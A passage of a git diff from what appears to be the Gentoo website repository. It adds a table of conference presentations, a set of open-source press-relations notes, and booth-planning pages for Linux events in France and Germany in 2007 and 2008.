+    <uri link="http://creativecommons.org/licenses/by-nc-sa/1.0/">BY-NC-SA 1</uri>
+  </ti>
+  <ti>
+    <mail link="lu_zero@gentoo.org">Luca Barbato</mail>,
+    <mail link="pylon@gentoo.org">Lars Weiler</mail>
+  </ti>
+  <ti>2005-02-27</ti>
+  <ti>FOSDEM 2005</ti>
+  <ti>
+    <uri link="http://www.gentoo.org/proj/en/pr/docs/presentations/ppc.pdf">pdf</uri>,
+    <uri link="http://www.gentoo.org/proj/en/pr/docs/presentations/ppc.sxi">sxi</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>The Java Development Environment on Gentoo</ti>
+  <ti>Unknown (ask author)</ti>
+  <ti><mail link="karltk@gentoo.org">Karl Trygve Kalleberg</mail></ti>
+  <ti>2005-02-27</ti>
+  <ti>FOSDEM 2005</ti>
+  <ti>
+    <uri link="http://www.gentoo.org/proj/en/pr/docs/presentations/java-development.pdf">pdf</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>Enterprise Java on Gentoo</ti>
+  <ti>Unknown (ask author)</ti>
+  <ti><mail link="karltk@gentoo.org">Karl Trygve Kalleberg</mail></ti>
+  <ti>2005-02-27</ti>
+  <ti>FOSDEM 2005</ti>
+  <ti>
+    <uri link="http://www.gentoo.org/proj/en/pr/docs/presentations/enterprise-development.pdf">pdf</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>Gentoo Documentation Project</ti>
+  <ti><uri link="http://creativecommons.org/licenses/by-sa/2.0/">CC-BY-SA 2+</uri></ti>
+  <ti><mail link="swift@gentoo.org">Sven Vermeulen</mail></ti>
+  <ti>2005-02-27</ti>
+  <ti>FOSDEM 2005</ti>
+  <ti>
+    <uri link="http://www.gentoo.org/proj/en/pr/docs/presentations/gdp.sxi">sxi</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>Gentoo Linux Security Announcements (GLSA)</ti>
+  <ti>Unknown (ask author)</ti>
+  <ti>
+    <mail link="sejo@gentoo.org">Jochen Maes</mail>,
+    <mail link="jaevorsz@gentoo.org">Sune Kloppenburg Jeppesen</mail>,
+    <mail link="koon@gentoo.org">Thierry Carrez</mail>
+  </ti>
+  <ti>2005-02-27</ti>
+  <ti>FOSDEM 2005</ti>
+  <ti>
+    <uri link="http://www.gentoo.org/proj/en/pr/docs/presentations/GLSA.sxi">sxi</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>UTF-8 with Gentoo</ti>
+  <ti>
+    <uri link="http://creativecommons.org/licenses/by-nc-sa/1.0/">BY-NC-SA 1</uri>
+  </ti>
+  <ti><mail link="pylon@gentoo.org">Lars Weiler</mail></ti>
+  <ti>2005-02-27</ti>
+  <ti>FOSDEM 2005</ti>
+  <ti>
+    <uri link="http://www.gentoo.org/proj/en/pr/docs/presentations/UTF-8.pdf">pdf</uri>,
+    <uri link="http://www.gentoo.org/proj/en/pr/docs/presentations/UTF-8.sxi">sxi</uri>
+  </ti>
+</tr>
+<tr>                                                                                                         
+  <ti>Introduction to Gentoo</ti>                                                                            
+  <ti><uri link="http://creativecommons.org/licenses/by-sa/2.0/">CC-BY-SA 2+</uri></ti>
+  <ti><mail link="rich0@gentoo.org">Richard Freeman</mail></ti>
+  <ti>2010-03-10</ti>
+  <ti>PLUG North</ti>
+  <ti>
+    <uri link="http://dev.gentoo.org/~rich0/IntroGentoo.odp">odp</uri>
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/pr/docs/presentations/Catalyst.pdf b/xml/htdocs/proj/en/pr/docs/presentations/Catalyst.pdf
new file mode 100644
index 00000000..b1dfd2ac
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/docs/presentations/Catalyst.pdf
diff --git a/xml/htdocs/proj/en/pr/docs/presentations/Catalyst.sxi b/xml/htdocs/proj/en/pr/docs/presentations/Catalyst.sxi
new file mode 100644
index 00000000..c1b5f3b0
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/docs/presentations/Catalyst.sxi
diff --git a/xml/htdocs/proj/en/pr/docs/presentations/GLSA.sxi b/xml/htdocs/proj/en/pr/docs/presentations/GLSA.sxi
new file mode 100644
index 00000000..789819f3
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/docs/presentations/GLSA.sxi
diff --git a/xml/htdocs/proj/en/pr/docs/presentations/GNAP.sxi b/xml/htdocs/proj/en/pr/docs/presentations/GNAP.sxi
new file mode 100644
index 00000000..7746f30e
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/docs/presentations/GNAP.sxi
diff --git a/xml/htdocs/proj/en/pr/docs/presentations/Gentoo-Keynote.sxi b/xml/htdocs/proj/en/pr/docs/presentations/Gentoo-Keynote.sxi
new file mode 100644
index 00000000..4462b215
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/docs/presentations/Gentoo-Keynote.sxi
diff --git a/xml/htdocs/proj/en/pr/docs/presentations/UTF-8.pdf b/xml/htdocs/proj/en/pr/docs/presentations/UTF-8.pdf
new file mode 100644
index 00000000..5abdb4b3
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/docs/presentations/UTF-8.pdf
diff --git a/xml/htdocs/proj/en/pr/docs/presentations/UTF-8.sxi b/xml/htdocs/proj/en/pr/docs/presentations/UTF-8.sxi
new file mode 100644
index 00000000..2fb5f9ed
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/docs/presentations/UTF-8.sxi
diff --git a/xml/htdocs/proj/en/pr/docs/presentations/enterprise-development.pdf b/xml/htdocs/proj/en/pr/docs/presentations/enterprise-development.pdf
new file mode 100644
index 00000000..24876a5e
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/docs/presentations/enterprise-development.pdf
diff --git a/xml/htdocs/proj/en/pr/docs/presentations/features-of-portage.sxi b/xml/htdocs/proj/en/pr/docs/presentations/features-of-portage.sxi
new file mode 100644
index 00000000..9320cc5a
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/docs/presentations/features-of-portage.sxi
diff --git a/xml/htdocs/proj/en/pr/docs/presentations/gdp.sxi b/xml/htdocs/proj/en/pr/docs/presentations/gdp.sxi
new file mode 100644
index 00000000..75820ce6
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/docs/presentations/gdp.sxi
diff --git a/xml/htdocs/proj/en/pr/docs/presentations/gentoo_community.pdf b/xml/htdocs/proj/en/pr/docs/presentations/gentoo_community.pdf
new file mode 100644
index 00000000..a8d7ad11
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/docs/presentations/gentoo_community.pdf
diff --git a/xml/htdocs/proj/en/pr/docs/presentations/gentoo_community.sxi b/xml/htdocs/proj/en/pr/docs/presentations/gentoo_community.sxi
new file mode 100644
index 00000000..3461a330
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/docs/presentations/gentoo_community.sxi
diff --git a/xml/htdocs/proj/en/pr/docs/presentations/java-development.pdf b/xml/htdocs/proj/en/pr/docs/presentations/java-development.pdf
new file mode 100644
index 00000000..d811cc70
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/docs/presentations/java-development.pdf
diff --git a/xml/htdocs/proj/en/pr/docs/presentations/ppc.pdf b/xml/htdocs/proj/en/pr/docs/presentations/ppc.pdf
new file mode 100644
index 00000000..3061a9ae
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/docs/presentations/ppc.pdf
diff --git a/xml/htdocs/proj/en/pr/docs/presentations/ppc.sxi b/xml/htdocs/proj/en/pr/docs/presentations/ppc.sxi
new file mode 100644
index 00000000..b7b6ec01
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/docs/presentations/ppc.sxi
diff --git a/xml/htdocs/proj/en/pr/docs/press-relations-notes.txt b/xml/htdocs/proj/en/pr/docs/press-relations-notes.txt
new file mode 100644
index 00000000..60913e70
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/docs/press-relations-notes.txt
@@ -0,0 +1,160 @@
+Josh Berkus
+Open-Source Press Relations
+
+Resources
+	volunteers
+	press contacts
+	reference users
+	press kit
+	a little money
+
+Volunteers
+	writers/designers
+		press releases
+		web design and graphics
+		handouts and articles
+	translators
+	regional contacts
+		press/biz experience
+		email/phone for work hrs
+		one per country/region/language
+
+PR contributions are as valuable as code
+
+Press contacts
+	collect a list
+		bloggers/reporters in your community
+		reporters who have covered your project
+		lists from conferences
+		biz cards
+	manage the list
+		keep in central, secure location
+			don't want it stolen, or reporters spammed
+		separate into categories
+			"warm", "cold", "intimate" contacts
+
+Reference users
+	Testify that your project is ready for production use
+	You need them
+		Quotes, interviews, case studies
+	Get them through community
+		mailing lists, consultant clients, conferences
+	Keep contact info handy
+
+Press kit
+	1-stop shopping for reporters
+		"what is" doc
+		"latest news" doc
+		case studies, reference users
+		contact info -- regional contacts
+		logos/graphics
+		self-booting CD (optional)
+	have same info everywhere
+		updated on website
+		paper handouts at conferences
+
+Handling the press
+	Reporters are people, too.
+		Don't insult them when they get something wrong
+			Contact them, but be nice. Leave your contact info!
+		But thank them when they get something right
+
+	There is no "off the record"
+		Make a list of talking points, and things you want to avoid
+			FAQ is good
+			Don't send out the second list
+				On second list: e.g., don't rip on other distros/MS
+		Make their job easy -- provide facts, quotes, numbers, contacts
+		Do _not_ ask to preview the story
+		Figure out what the "news" is, and tell them
+
+Press releases
+	-8 weeks: draft release
+		Do it open source
+			involve advocacy group
+			use mailing list and wikis/VCS
+			many eyes make bugs shallow
+			allow 3-4 weeks
+		Doing it in the open is not a problem
+		Use professional release format
+			Top-down
+			Emphasize news value
+			Have a "theme"
+			1-1.5 pages
+				If it's too long, they won't reach the link to more info,
+				and they may throw it away
+			8 parts
+				contact info -- need a phone number!
+					on deadline, they need phone, won't run the story otherwise
+				dateline
+					required! their spam filters toss out badly formatted stuff
+				summary 'graf
+					5 W's: who, what, when, where (not that imp), why
+				theme 'graf (opt)
+				1-3 quotes, no more
+					biz users, someone famous
+					needs to be by "external" user
+					need person's full name and title
+						ask them what their title is, some people wear many hats
+				detail info
+				link to more info, prolly the press kit
+				about 'graf
+					also may have about 'grafs from the companies you quoted
+
+	-4 weeks: create press kit
+		release, plus:
+			links to more advocacy info (case studies, etc)
+			full text of quotes
+			detail that didn't fit in release
+			info about quoted companies
+				contact info
+			links to regional contacts
+		get website ready to roll
+			"bit flip" to activate all content at once
+				CMS good for this
+			links to downloads
+			homepage announcement
+			traffic monitors
+		release to translators
+	-1 week: embargoed releases
+		contact "trusted" press
+			must agree to not release till release date
+			must be willing to postpone/cancel release in case of problems
+				say "i will contact you 24 hours before release to let you know
+					whether it's a go"
+			good way to "reward" reporters you like
+		additional advance contact
+			Q&A about release
+			demo, if appropriate -- send them a CD or download
+			arrange interviews with devs/users
+		be aware of press schedules
+		file release with PRWire
+			it's free. you don't need to pay them, but it may be a 3-day delay
+				instead of a 1-day delay. you might want to give them the
+				minimal amount.
+			most useful when you have a small press list
+	-12 hours: stuff up on website
+		last chance to postpone
+			check with lead devs
+		put up on web
+			press kits
+			downloads -- consider cascade delay on mirrors
+			docs
+			lists of regional contacts
+		check that regional contacts are ready
+	0 hour: send out release
+		contact embargo reporters and give them all-clear
+		spam your whole press list
+			use a script or a mailing list
+			do NOT use BCC, spammers use this so it gets filtered
+		tell regional contacts/translators "go"
+		panic!
+	+1-5 days: follow-up
+		follow up with key reporters
+		collect links to press coverage
+			put up on website
+			send corrections if needed -- polite!
+		slashdot it!
+			find someone in project with high karma rating to post it
+		update press list
+		thank volunteers
diff --git a/xml/htdocs/proj/en/pr/events/24hours-france/index.xml b/xml/htdocs/proj/en/pr/events/24hours-france/index.xml
new file mode 100644
index 00000000..620db33f
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/24hours-france/index.xml
@@ -0,0 +1,125 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/pr/events/24hours-france/index.xml,v 1.1 2007/05/22 21:43:33 diox Exp $ -->
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>24 hours of computers in Maubeuge (France)</name>
+<longname>Computer Fair and Free and OS meeting</longname>
+<date>2-3 June 2007</date>
+<author title="Author">
+  <mail link="koreth@acissi.net">Sébastien BAUDRU</mail>
+</author>
+
+<description>
+This subproject is a place to hold informations on organizing the Gentoo
+coming at this event.
+</description>
+
+<longdescription>
+<!-- Fosdem Information -->
+<ul>
+  <li>official website : <uri>http://salon2007.acissi.net/</uri></li>
+</ul>
+</longdescription>
+
+<dev role="Lead">diox</dev>
+<dev role="Lead">christel</dev>
+<dev role="member">koreth</dev>
+
+<extrachapter>
+<title>Extra Information</title>
+<section>
+<title>Event info : purpose</title>
+<body>
+<p>
+Next 2-3 June, some French Universities will celebrate their 40 years-old.
+For this event, in Maubeuge, their will be a challenge that will last for
+24 hours, where the students of these universities will fight (with their
+computer). Around that, a Free and OpenSource meeting will take place in
+order to demonstrate that this sort of Software is a real way to work : 
+at home like at work, we can use it.
+</p>
+<p>
+Opening on Saturday 9AM and closing on Sunday 7PM. Closed for night :
+ from Sat. 7PM to Sun. 9PM. All extra info (coming, sleeping) on the
+ website.
+</p>
+</body>
+</section>
+</extrachapter>
+<extrachapter>
+<title>Preparing the event</title>
+<section>
+<title>People</title>
+<body>
+<p>
+This is the list of people related to this event:
+</p>
+<table>
+<tr>
+  <th>Name</th>
+  <th>Title</th>
+  <th>Function on the booth</th>
+  <th>Date of arrival</th>
+  <th>Date of departure</th>
+  <th>town, Country coming from</th>
+  <th>Coming using</th>
+  <th>Sleeping in</th>
+  <th>Email</th>
+  <th>Phone</th>
+</tr>
+<tr>
+  <ti>diox - Dimitry Bradt</ti>
+  <ti>Gentoo developer - GDP / VDR / PR</ti>
+  <ti></ti>
+  <ti></ti>
+  <ti></ti>
+  <ti>Oostduinkerke, Belgium</ti>
+  <ti></ti>
+  <ti></ti>
+  <ti>diox@gentoo.org</ti>
+  <ti>+32499245524</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Hardware</title>
+<body>
+<table>
+<tr>
+  <th>what</th>
+  <th>who</th>
+</tr>
+</table>
+</body>
+</section>
+<section>
+<title>Things needed</title>
+<body>
+
+<p>
+This is the list of stuff we need
+</p>
+
+<table>
+<tr>
+  <th>Name</th>
+  <th>type</th>
+  <th>We have it yet</th>
+  <th>Who is working on it</th>
+  <th>Date we need it</th>
+  <th>Requires</th>
+  <th>Who is Responsible</th>
+  <th>Who brings it</th>
+  <th>description</th>
+</tr>
+</table>
+
+</body>
+</section>
+</extrachapter>
+</project>
diff --git a/xml/htdocs/proj/en/pr/events/clt2007-germany/index.xml b/xml/htdocs/proj/en/pr/events/clt2007-germany/index.xml
new file mode 100644
index 00000000..65be8a5f
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/clt2007-germany/index.xml
@@ -0,0 +1,133 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/pr/events/clt2007-germany/index.xml,v 1.2 2007/07/13 20:58:36 neysx Exp $ -->
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+  <name>clt2007-germany</name>
+  <longname>Chemnitzer Linuxtage 2007</longname>
+  <date>2007-01-25</date>
+  <author title="Contact">
+    <mail link="dertobi123@gentoo.org">Tobias Scherbaum</mail>
+  </author>
+
+  <description>
+  This subproject is a place to hold informations on organizing the Gentoo booth
+  at the Chemnitzer Linuxtage 2007.
+  </description>
+
+  <longdescription><p>
+  Gentoo will be present at the Chemnitzer Linuxtage 2007 for the fourth time.
+  Just like last year <mail link="dertobi123@gentoo.org">Tobias Scherbaum</mail>
+  will give a talk.</p>
+  <ul>
+  <li>official website : <uri>http://chemnitzer.linux-tage.de/2007</uri></li>
+  </ul>
+  </longdescription>
+
+  <goals>
+  <ul>
+    <li>Poster</li>
+    <li>Flyer</li>
+    <li>probably no CDs/DVDs</li>
+  </ul>
+  </goals>
+
+  <extrachapter>
+    <title>Preparing the event</title>
+    <section>
+      <title>People</title>
+      <body>
+        <p>This is the list of people related to this event:</p>
+          <table>
+            <tr>
+              <th>Name</th>
+              <th>Title</th>
+              <th>Function on the booth</th>
+              <th>Date of arrival</th>
+              <th>Date of departure</th>
+              <th>City coming from</th>
+              <th>Coming using</th>
+              <th>Sleeping in</th>
+              <th>Email</th>
+              <th>Phone</th>
+            </tr>
+            <tr>
+              <ti>Tobias Scherbaum</ti>
+              <ti>Gentoo Developer</ti>
+              <ti>Organizational contact, booth staff, talk</ti>
+              <ti>3th March morning (Nighttrain via Dresden, Jens will pick me up there</ti>
+              <ti>4th March evening</ti>
+              <ti>Oberhausen, Germany</ti>
+              <ti>train / plane</ti>
+              <ti>tbc</ti>
+              <ti>dertobi123@gentoo.org</ti>
+              <ti>+49 172 7307110</ti>
+            </tr>
+            <tr>
+              <ti>Wernfried Haas</ti>
+              <ti>Gentoo Developer</ti>
+              <ti>booth staff</ti>
+              <ti></ti>
+              <ti></ti>
+              <ti>Graz, Austria</ti>
+              <ti> ?? </ti>
+              <ti> ?? </ti> 
+              <ti>amne@gentoo.org</ti>
+              <ti> ?? </ti>
+            </tr>
+            <tr>
+              <ti>Robert Buchholz</ti>
+              <ti>Gentoo Developer</ti>
+              <ti>booth staff</ti>
+              <ti></ti>
+              <ti></ti>
+              <ti>Berlin, Germany</ti>
+              <ti> ?? </ti>
+              <ti> ?? </ti> 
+              <ti>rbu@gentoo.org</ti>
+              <ti> ?? </ti>
+            </tr>
+            <tr>
+              <ti>Matti Bickel</ti>
+              <ti>Gentoo Developer</ti>
+              <ti>booth staff</ti>
+              <ti></ti>
+              <ti></ti>
+              <ti>Weimar, Germany</ti>
+              <ti> ?? </ti>
+              <ti> ?? </ti> 
+              <ti>mabi@gentoo.org</ti>
+              <ti> ?? </ti>
+            </tr>
+            <tr>
+              <ti>Jan Seidel</ti>
+              <ti>former Gentoo Developer</ti>
+              <ti>booth staff</ti>
+              <ti></ti>
+              <ti></ti>
+              <ti>Altenburg, Germany</ti>
+              <ti> ?? </ti>
+              <ti> ?? </ti> 
+              <ti></ti>
+              <ti> ?? </ti>
+            </tr>
+            <tr>
+              <ti>Jens Bläsche</ti>
+              <ti>Gentoo User</ti>
+              <ti>booth staff</ti>
+              <ti></ti>
+              <ti></ti>
+              <ti> ?? </ti>
+              <ti> ?? </ti>
+              <ti> ?? </ti> 
+              <ti> ?? </ti>
+            </tr>
+
+
+          </table>
+      </body>
+    </section>
+  </extrachapter>
+</project>
diff --git a/xml/htdocs/proj/en/pr/events/clt2008-germany/index.xml b/xml/htdocs/proj/en/pr/events/clt2008-germany/index.xml
new file mode 100644
index 00000000..0f4c0545
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/clt2008-germany/index.xml
@@ -0,0 +1,117 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/pr/events/clt2008-germany/index.xml,v 1.3 2008/01/15 20:43:00 dertobi123 Exp $ -->
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+  <name>clt2008-germany</name>
+  <longname>Chemnitzer Linuxtage 2008</longname>
+  <date>2007-12-09</date>
+  <author title="Contact">
+    <mail link="dertobi123@gentoo.org">Tobias Scherbaum</mail>
+  </author>
+
+  <description>
+  This subproject is a place to hold informations on organizing the Gentoo booth
+  at the Chemnitzer Linuxtage 2008.
+  </description>
+
+  <longdescription>
+  <p>
+  Gentoo will be present at the Chemnitzer Linuxtage 2008 for the fifth
+  time. The event takes place on 1th and 2nd March 2008. Deadline to submit
+  talks and projects is January 3, 2008. Our attendance is not confirmed
+  yet.
+  </p>
+  <p>
+  Wikipage: <uri>http://www.gentoo-ev.org/wiki/Chemnitz2008</uri>
+  </p>
+  </longdescription>
+
+  <goals>
+  <ul>
+    <li>Poster</li>
+    <li>Flyer</li>
+    <li>probably CDs/DVDs</li>
+	<li>maybe an event-box</li>
+  </ul>
+  </goals>
+
+  <dev role="lead" description="Main Contact">dertobi123</dev>
+  <dev role="member" description="Fallback Contact">rbu</dev>
+  <dev role="member">mabi</dev>
+
+  <extrachapter>
+    <title>Preparing the event</title>
+    <section>
+      <title>People</title>
+      <body>
+        <p>This is the list of people related to this event:</p>
+          <table>
+            <tr>
+              <th>Name</th>
+              <th>Title</th>
+              <th>Function on the booth</th>
+              <th>Date of arrival</th>
+              <th>Date of departure</th>
+              <th>City coming from</th>
+              <th>Coming using</th>
+              <th>Sleeping in</th>
+              <th>Email</th>
+              <th>Phone</th>
+            </tr>
+            <tr>
+              <ti>Tobias Scherbaum</ti>
+              <ti>Gentoo Developer</ti>
+              <ti>Organizational contact, booth staff</ti>
+              <ti>29th February late evening via LEJ</ti>
+              <ti>4th March evening via LEJ</ti>
+              <ti>Oberhausen, Germany</ti>
+              <ti>plane</ti>
+              <ti> ?? </ti>
+              <ti>dertobi123@gentoo.org</ti>
+              <ti>+49 172 7307110</ti>
+            </tr>
+            <tr>
+              <ti>Robert Buchholz</ti>
+              <ti>Gentoo Developer</ti>
+              <ti>booth staff</ti>
+              <ti></ti>
+              <ti></ti>
+              <ti>Berlin, Germany</ti>
+              <ti> ?? </ti>
+              <ti> ?? </ti> 
+              <ti>rbu@gentoo.org</ti>
+              <ti> ?? </ti>
+            </tr>
+            <tr>
+              <ti>Jan Seidel</ti>
+              <ti>former Gentoo Developer</ti>
+              <ti>booth staff</ti>
+              <ti></ti>
+              <ti></ti>
+              <ti>Altenburg, Germany</ti>
+              <ti> ?? </ti>
+              <ti> ?? </ti> 
+              <ti></ti>
+              <ti> ?? </ti>
+            </tr>
+            <tr>
+              <ti>Jens Bläsche</ti>
+              <ti>Gentoo User</ti>
+              <ti>booth staff</ti>
+              <ti></ti>
+              <ti></ti>
+              <ti> ?? </ti>
+              <ti> ?? </ti>
+              <ti> ?? </ti> 
+              <ti> ?? </ti>
+            </tr>
+
+
+          </table>
+      </body>
+    </section>
+  </extrachapter>
+</project>
diff --git a/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-alpha-uni.png b/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-alpha-uni.png
new file mode 100644
index 00000000..db5da6ae
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-alpha-uni.png
diff --git a/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-amd64-pkg.png b/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-amd64-pkg.png
new file mode 100644
index 00000000..0626e514
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-amd64-pkg.png
diff --git a/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-amd64-uni.png b/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-amd64-uni.png
new file mode 100644
index 00000000..df5bd2a9
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-amd64-uni.png
diff --git a/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-hppa-uni.png b/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-hppa-uni.png
new file mode 100644
index 00000000..806f1ae8
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-hppa-uni.png
diff --git a/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-ppc-pkg.png b/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-ppc-pkg.png
new file mode 100644
index 00000000..8c93335e
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-ppc-pkg.png
diff --git a/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-ppc-uni.png b/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-ppc-uni.png
new file mode 100644
index 00000000..ea47e78f
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-ppc-uni.png
diff --git a/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-ppc64-pkg.png b/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-ppc64-pkg.png
new file mode 100644
index 00000000..6701f77e
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-ppc64-pkg.png
diff --git a/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-ppc64-uni.png b/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-ppc64-uni.png
new file mode 100644
index 00000000..2bdd0d15
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-ppc64-uni.png
diff --git a/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-sparc-pkg.png b/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-sparc-pkg.png
new file mode 100644
index 00000000..cd766e1b
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-sparc-pkg.png
diff --git a/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-sparc-uni.png b/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-sparc-uni.png
new file mode 100644
index 00000000..28126995
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-sparc-uni.png
diff --git a/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-x86.png b/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-x86.png
new file mode 100644
index 00000000..b92c47db
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/covers-2006.0/cover-x86.png
diff --git a/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/FOSDEM-BE-07-Bugday.pdf b/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/FOSDEM-BE-07-Bugday.pdf
new file mode 100644
index 00000000..6953175f
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/FOSDEM-BE-07-Bugday.pdf
diff --git a/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/GentooAltPrefix.pdf b/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/GentooAltPrefix.pdf
new file mode 100644
index 00000000..7d9757eb
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/GentooAltPrefix.pdf
diff --git a/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/GentooCouncil.odp b/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/GentooCouncil.odp
new file mode 100644
index 00000000..11443e84
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/GentooCouncil.odp
diff --git a/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/GentooCrossCompiling.odp b/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/GentooCrossCompiling.odp
new file mode 100644
index 00000000..ff69e3ee
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/GentooCrossCompiling.odp
diff --git a/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/GentooHardened.odp b/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/GentooHardened.odp
new file mode 100644
index 00000000..35299f72
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/GentooHardened.odp
diff --git a/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/GentooJava.odp b/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/GentooJava.odp
new file mode 100644
index 00000000..78d7a31b
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/GentooJava.odp
diff --git a/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/ProgramingWithPaludis.pdf b/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/ProgramingWithPaludis.pdf
new file mode 100644
index 00000000..1ac8576c
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/ProgramingWithPaludis.pdf
diff --git a/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/Release_Engineering_FOSDEM.odp b/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/Release_Engineering_FOSDEM.odp
new file mode 100644
index 00000000..d1d605a1
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/Release_Engineering_FOSDEM.odp
diff --git a/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/SELinuxOverview.odp b/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/SELinuxOverview.odp
new file mode 100644
index 00000000..02afe133
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/SELinuxOverview.odp
diff --git a/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/fosdem-2007-portage.pdf b/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/fosdem-2007-portage.pdf
new file mode 100644
index 00000000..1c648c6d
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/fosdem-2007-portage.pdf
diff --git a/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/index.xml b/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/index.xml
new file mode 100644
index 00000000..68655371
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/index.xml
@@ -0,0 +1,832 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/pr/events/fosdem2007-belgium/index.xml,v 1.57 2008/04/25 09:54:10 falco Exp $ -->
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
